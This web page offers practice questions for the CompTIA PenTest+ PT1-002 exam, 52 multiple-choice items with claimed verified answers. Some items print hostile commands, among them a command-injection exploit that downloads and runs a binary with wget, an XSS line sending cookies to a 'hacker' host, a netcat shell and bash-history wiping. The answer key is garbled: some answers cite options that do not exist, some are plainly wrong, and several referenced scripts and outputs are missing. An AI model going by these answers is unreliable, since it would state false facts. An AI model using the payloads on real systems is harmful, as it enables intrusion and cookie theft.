CompTIA PenTest+ Certification Exam
Practice questions for the CompTIA PenTest+ Certification Exam certification exam.
4.5★★★★★(248 ratings)
12,526 studentsIntermediate- •Familiarity with basic IT concepts
- •Access to relevant platform tools for hands-on practice
- •Interest in pursuing PT1-002 certification
- •Engineers and architects pursuing professional certification
- •Developers looking to validate their skills
- •IT professionals transitioning to specialized roles
- •Students preparing for certification exams
This course covers everything you need to pass the CompTIA PenTest+ Certification Exam (PT1-002) exam. Each part of this course contains real exam questions taken from the actual exam pool, with hint answers to guide your study. Practice with these questions to build confidence and master the topics needed for certification success.
What you'll learn
- Master the core concepts for PT1-002 certification
- Practice with real exam-style questions
- Understand platform services and architectures covered in PT1-002
- Build confidence through timed practice exams
- Learn from detailed hint answers and explanations
- Pass the official PT1-002 certification exam on your first try
PT1-002
Lectures1
Questions52
Duration30 week
Students12,526
$20.00
Full Free Question Bank (52 Questions)
CompTIA PenTest+ Certification Exam (PT1-002) Practice Questions & Verified Answers
Click any option to test your knowledge, or reveal the verified answer and detailed explanation below each question.
Question #1Part 1
AEnsure the client has signed the SOW.
BVerify the client has granted network access to the hot site.
CDetermine if the failover environment relies on resources not owned by the client.
DEstablish communication and escalation procedures with the client.
✓ Verified Answer: C
Question #2Part 1
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
Adevices produce more heat and consume more power.
Bdevices are obsolete and are no longer available for replacement.
Cprotocols are more difficult to understand.
Ddevices may cause physical world effects.
✓ Verified Answer: D
Question #3Part 1
Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?
ANDA
BMSA
CSOW
DMOU
✓ Verified Answer: C
Question #4Part 1
A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?
APLCs will not act upon commands injected over the network.
BSupervisors and controllers are on a separate virtual network by default.
CControllers will not validate the origin of commands.
DSupervisory systems will detect a malicious injection of code/commands.
✓ Verified Answer: C
Question #5Part 1
A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?
AA signed statement of work
BThe correct user accounts and associated passwords
CThe expected time frame of the assessment
DThe proper emergency contacts for the client
✓ Verified Answer: D
Question #6Part 1
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
Acertutil ג€"urlcache ג€"split ג€"f http://192.168.2.124/windows-binaries/accesschk64.exe
Bpowershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/upload.php', 'systeminfo.txt')
Cschtasks /query /fo LIST /v | find /I ג€Next Run Time:ג€
Dwget http://192.168.2.124/windows-binaries/accesschk64.exe ג€"O accesschk64.exe
✓ Verified Answer: A
Question #7Part 1
Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?
AS/MIME
BFTPS
CDNSSEC
DAS2
✓ Verified Answer: A
Question #8Part 1Select 2
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows: * The following request was intercepted going to the network device: GET /login HTTP/1.1 - Host: 10.50.100.16 - User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5 - Connection: keep-alive - Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk * Network management interfaces are available on the production network. * An Nmap scan returned the following: Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)
AEnforce enhanced password complexity requirements.
BDisable or upgrade SSH daemon.
CDisable HTTP/301 redirect configuration.
DCreate an out-of-band network for management.
EImplement a better method for authentication.
✓ Verified Answer: DE
Question #9Part 1
A penetration tester ran a ping `"A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?
AWindows
BApple
CLinux
DAndroid
✓ Verified Answer: A
Question #10Part 1
A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?
ARFID cloning
BRFID tagging
CMeta tagging
DTag nesting
✓ Verified Answer: D
Question #11Part 1
A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following: * Connected to 10.2.11.144 (::1) port 80 (#0) > GET /readmine.html HTTP/1.1 > Host: 10.2.11.144 > User-Agent: curl/7.67.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Date: Tue, 02 Feb 2021 21:46:47 GMT < Server: Apache/2.4.41 (Debian) < Content-Length: 317 < Content-Type: text/html; charset=iso-8859-1 < WordPress › ReadMe Which of the following tools would be BEST for the penetration tester to use to explore this site further?
ABurp Suite
BDirBuster
CWPScan
DOWASP ZAP
✓ Verified Answer: C
Question #12Part 1
A penetration tester wrote the following script to be used in one engagement: Which of the following actions will this script perform?
ALook for open ports.
BListen for a reverse shell.
CAttempt to flood open ports.
DCreate an encrypted tunnel.
✓ Verified Answer: C
Question #13Part 1
A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?
AImplement a recurring cybersecurity awareness education program for all users.
BImplement multifactor authentication on all corporate applications.
CRestrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
DImplement an email security gateway to block spam and malware from email communications.
✓ Verified Answer: A
Question #14Part 1
A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?
ANmap
Btcpdump
CScapy
Dhping3
✓ Verified Answer: C
Question #15Part 1Select 2
A penetration tester is reviewing the following SOW prior to engaging with a client:
Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.
Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)
AUtilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
BUtilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
CFailing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
DSeeking help with the engagement in underground hacker forums by sharing the client's public IP address
EUsing a software-based erase tool to wipe the client's findings from the penetration tester's laptop
✓ Verified Answer: CD
Question #16Part 1
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?
AAircrack-ng
BWireshark
CWifite
DKismet
✓ Verified Answer: A
Question #17Part 1
A penetration tester gains access to a system and establishes persistence, and then runs the following commands: cat /dev/null > temp touch `"r .bash_history temp mv temp .bash_history Which of the following actions is the tester MOST likely performing?
ARedirecting Bash history to /dev/null
BMaking a copy of the user's Bash history for further enumeration
CCovering tracks by clearing the Bash history
DMaking decoy files on the system to confuse incident responders
✓ Verified Answer: C
Question #18Part 1Select 2
Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)
ABuffer overflows
BCross-site scripting
CRace-condition attacks
DZero-day attacks
EInjection flaws
✓ Verified Answer: BE
Question #19Part 1
Given the following code: var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie; Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
AWeb-application firewall
BParameterized queries
COutput encoding
DSession tokens
EInput validation
✓ Verified Answer: C
Question #20Part 1
A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?
AReach out to the primary point of contact
BTry to take down the attackers
CCall law enforcement officials immediately
DCollect the proper evidence and add to the final report
✓ Verified Answer: A
Question #21Part 1
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?
AAs backup in case the original documents are lost
BTo guide them through the building entrances
CTo validate the billing information with the client
DAs proof in case they are discovered
✓ Verified Answer: D
Question #22Part 1
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = POST exploit += /cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} " c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%
27&loginUser=a&Pwd=a
exploit += HTTP/1.1`
Which of the following commands should the penetration tester run post-engagement?
Agrep ג€"v apache ~/.bash_history > ~/.bash_history
Brm ג€"rf /tmp/apache
Cchmod 600 /tmp/apache
Dtaskkill /IM ג€apacheג€ /F
✓ Verified Answer: B
Question #23Part 1
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)
AThe libraries may be vulnerable
BThe licensing of software is ambiguous
CThe libraries' code bases could be read by anyone
DThe provenance of code is unknown
EThe libraries may be unsupported
✓ Verified Answer: B
Question #24Part 1
A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)
AWireshark
BNessus
CRetina
DBurp Suite
EShodan
✓ Verified Answer: B
Question #25Part 1
A consultant is reviewing the following output after reports of intermittent connectivity issues: ? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] ? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet] ? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet] ? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet] ? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet] ? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet] ? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet] ? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?
AA device on the network has an IP address in the wrong subnet.
BA multicast session was initiated using the wrong multicast group.
CAn ARP flooding attack is using the broadcast address to perform DDoS.
DA device on the network has poisoned the ARP cache.
✓ Verified Answer: D
Question #26Part 1Select 2
Which of the following BEST describe the OWASP Top 10? (Choose two.)
AThe most critical risks of web applications
BA list of all the risks of web applications
CThe risks defined in order of importance
DA web-application security standard
EA risk-governance and compliance framework
✓ Verified Answer: AC
Question #27Part 1
A penetration tester conducted a discovery scan that generated the following: Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?
Anmap ג€"oG list.txt 192.168.0.1-254 , sort
Bnmap ג€"sn 192.168.0.1-254 , grep ג€Nmap scanג€ | awk '{print S5}'
Cnmap ג€"-open 192.168.0.1-254, uniq
Dnmap ג€"o 192.168.0.1-254, cut ג€"f 2
✓ Verified Answer: B
Question #28Part 1
A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?
ASend deauthentication frames to the stations.
BPerform jamming on all 2.4GHz and 5GHz channels.
CSet the malicious AP to broadcast within dynamic frequency selection channels.
DModify the malicious AP configuration to not use a pre-shared key.
✓ Verified Answer: A
Question #29Part 1
A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?
Anmap ג€"f ג€"sV ג€"p80 192.168.1.20
Bnmap ג€"sS ג€"sL ג€"p80 192.168.1.20
Cnmap ג€"A ג€"T4 ג€"p80 192.168.1.20
Dnmap ג€"O ג€"v ג€"p80 192.168.1.20
✓ Verified Answer: C
Question #30Part 1Select 2
Which of the following expressions in Python increase a variable val by one (Choose two.)
Aval++
B+val
Cval=(val+1)
D++val
Eval=val++
✓ Verified Answer: CF
Question #31Part 1
Given the following output: User-agent:* Disallow: /author/ Disallow: /xmlrpc.php - Disallow: /wp-admin - Disallow: /page/ During which of the following activities was this output MOST likely obtained?
AWebsite scraping
BWebsite cloning
CDomain enumeration
DURL enumeration
✓ Verified Answer: A
Question #32Part 1
Appending string values onto another string is called:
Acompilation
Bconnection
Cconcatenation
Dconjunction
✓ Verified Answer: D
Question #33Part 1
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?
AComma
BDouble dash
CSingle quote
DSemicolon
✓ Verified Answer: B
Question #34Part 1
A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?
AThe penetration tester was testing the wrong assets
BThe planning process failed to ensure all teams were notified
CThe client was not ready for the assessment to start
DThe penetration tester had incorrect contact information
✓ Verified Answer: B
Question #35Part 1Select 2
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)
AOpen-source research
BA ping sweep
CTraffic sniffing
DPort knocking
EA vulnerability scan
✓ Verified Answer: AC
Question #36Part 1
A penetration tester obtained the following results after scanning a web server using the dirb utility: ... GENERATED WORDS: 4612 - ---- Scanning URL: http://10.2.10.13/ ---- + http://10.2.10.13/about (CODE:200|SIZE:1520) + http://10.2.10.13/home.html (CODE:200|SIZE:214) + http://10.2.10.13/index.html (CODE:200|SIZE:214) + http://10.2.10.13/info (CODE:200|SIZE:214) ... DOWNLOADED: 4612 `" FOUND: 4 - Which of the following elements is MOST likely to contain useful information for the penetration tester?
Aindex.html
Babout
Cinfo
Dhome.html
✓ Verified Answer: B
Question #37Part 1
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?
ACreate a one-shot systemd service to establish a reverse shell.
BObtain /etc/shadow and brute force the root password.
CRun the nc -e /bin/sh command.
DMove laterally to create a user account on LDAP
✓ Verified Answer: A
Question #38Part 1
A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?
AManually check the version number of the VoIP service against the CVE release
BTest with proof-of-concept code from an exploit database
CReview SIP traffic from an on-path position to look for indicators of compromise
DUtilize an nmap ג€"sV scan against the service
✓ Verified Answer: A
Question #39Part 1
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
Anmap 192.168.1.1-5 ג€"PU22-25,80
Bnmap 192.168.1.1-5 ג€"PA22-25,80
Cnmap 192.168.1.1-5 ג€"PS22-25,80
Dnmap 192.168.1.1-5 ג€"Ss22-25,80
✓ Verified Answer: C
Question #40Part 1
A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?
AImmunity Debugger
BOllyDbg
CGDB
DDrozer
✓ Verified Answer: C
Question #41Part 1
A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?
AVRFY and EXPN
BVRFY and TURN
CEXPN and TURN
DRCPT TO and VRFY
✓ Verified Answer: A
Question #42Part 1
Which of the following tools provides Python classes for interacting with network protocols?
AResponder
BImpacket
CEmpire
DPowerSploit
✓ Verified Answer: B
Question #43Part 1
A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?
AAlternate data streams
BPowerShell modules
CMP4 steganography
DPsExec
✓ Verified Answer: B
Question #44Part 1
A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?
AEnforce mandatory employee vacations
BImplement multifactor authentication
CInstall video surveillance equipment in the office
DEncrypt passwords for bank account information
✓ Verified Answer: A
Question #45Part 1
A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?
Anmap ג€"p0 ג€"T0 ג€"sS 192.168.1.10
Bnmap ג€"sA ג€"sV --host-timeout 60 192.168.1.10
Cnmap ג€"f --badsum 192.168.1.10
Dnmap ג€"A ג€"n 192.168.1.10
✓ Verified Answer: A
Question #46Part 1
Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?
AAnalyze the malware to see what it does.
BCollect the proper evidence and then remove the malware.
CDo a root-cause analysis to find out how the malware got in.
DRemove the malware immediately.
EStop the assessment and inform the emergency contact.
✓ Verified Answer: B
Question #47Part 1
A penetration tester runs the following command on a system:
find / -user root "perm -4000 "print 2>/dev/null
Which of the following is the tester trying to accomplish?
ASet the SGID on all files in the / directory
BFind the /root directory on the system
CFind files with the SUID bit set
DFind files that were created during exploitation and move them to /dev/null
✓ Verified Answer: C
Question #48Part 1
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following: Which of the following tools will help the tester prepare an attack for this scenario?
AHydra and crunch
BNetcat and cURL
CBurp Suite and DIRB
DNmap and OWASP ZAP
✓ Verified Answer: B
Question #49Part 1
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?
AExecutive summary of the penetration-testing methods used
BBill of materials including supplies, subcontracts, and costs incurred during assessment
CQuantitative impact assessments given a successful software compromise
DCode context for instances of unsafe type-casting operations
✓ Verified Answer: D
Question #50Part 1
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
✑ Have a full TCP connection
✑ Send a hello payload
✑ Walt for a response
✑ Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?
ARun nmap ג€"Pn ג€"sV ג€"script vuln .
BEmploy an OpenVAS simple scan against the TCP port of the host.
CCreate a script in the Lua language and use it with NSE.
DPerform a credentialed scan with Nessus.
✓ Verified Answer: C
Question #51Part 1
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
ADirect-to-origin
BCross-site scripting
CMalware injection
DCredential harvesting
✓ Verified Answer: D
Question #52Part 1
A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?
AWeekly
BMonthly
CQuarterly
DAnnually
✓ Verified Answer: C
More COMPTIA Certification Practice Exams
Explore related COMPTIA exam dumps and free practice question banks.
220-1001204 Questions
CompTIA A+ Certification Exam: Core 1
220-1002235 Questions
CompTIA A+ Certification Exam: Core 2
220-1101279 Questions
CompTIA A+ Certification Exam: Core 1
220-1102335 Questions
CompTIA A+ Certification Exam: Core 2
220-120191 Questions
CompTIA A+ Certification Exam: Core 1
220-120287 Questions
CompTIA A+ Certification Exam: Core 2
220-90165 Questions
CompTIA A+ (220-901)
220-9027 Questions
CompTIA A+ (220-902)
CA1-0056 Questions
CompTIA SecurityX
CAS-0026 Questions
CompTIA Advanced Security Practitioner (CASP)
CAS-003189 Questions
CompTIA Advanced Security Practitioner (CASP) CAS-003
CAS-00465 Questions
CompTIA Advanced Security Practitioner (CASP+) CAS-004
📢 Unlock Full Access to Success!
"The content displayed here is a promotional preview and contains only 50% of the actual exam database. To access the complete set of updated questions, please upgrade to the Full Version."
👉 Click the button and follow the instructions to secure your full access immediately!